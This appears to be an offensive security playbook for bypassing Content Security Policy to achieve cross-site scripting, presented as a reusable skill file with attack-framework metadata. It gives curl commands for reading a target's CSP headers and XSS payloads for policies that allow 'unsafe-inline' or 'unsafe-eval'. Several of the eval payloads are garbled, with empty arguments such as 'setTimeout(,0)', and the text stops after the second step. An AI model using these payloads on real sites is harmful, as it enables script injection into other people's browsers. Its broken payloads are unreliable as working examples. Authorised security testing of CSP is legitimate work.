performing-content-security-policy-bypass

name	performing-content-security-policy-bypass
description	Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.
domain	cybersecurity
subdomain	web-application-security
tags	["csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Performing Content Security Policy Bypass

When to Use

• When XSS is found but execution is blocked by Content Security Policy
• During web application security assessments to evaluate CSP effectiveness
• When testing the robustness of CSP against known bypass techniques
• During bug bounty hunting where CSP prevents direct XSS exploitation
• When auditing CSP header configuration for security weaknesses

Prerequisites

• Burp Suite for intercepting responses and analyzing CSP headers
• CSP Evaluator (Google) for automated policy analysis
• Understanding of CSP directives (script-src, default-src, style-src, etc.)
• Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
• Browser developer tools for CSP violation monitoring
• Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>()</script>
<script>setTimeout(,0)</script>
<script>new Function()()</script>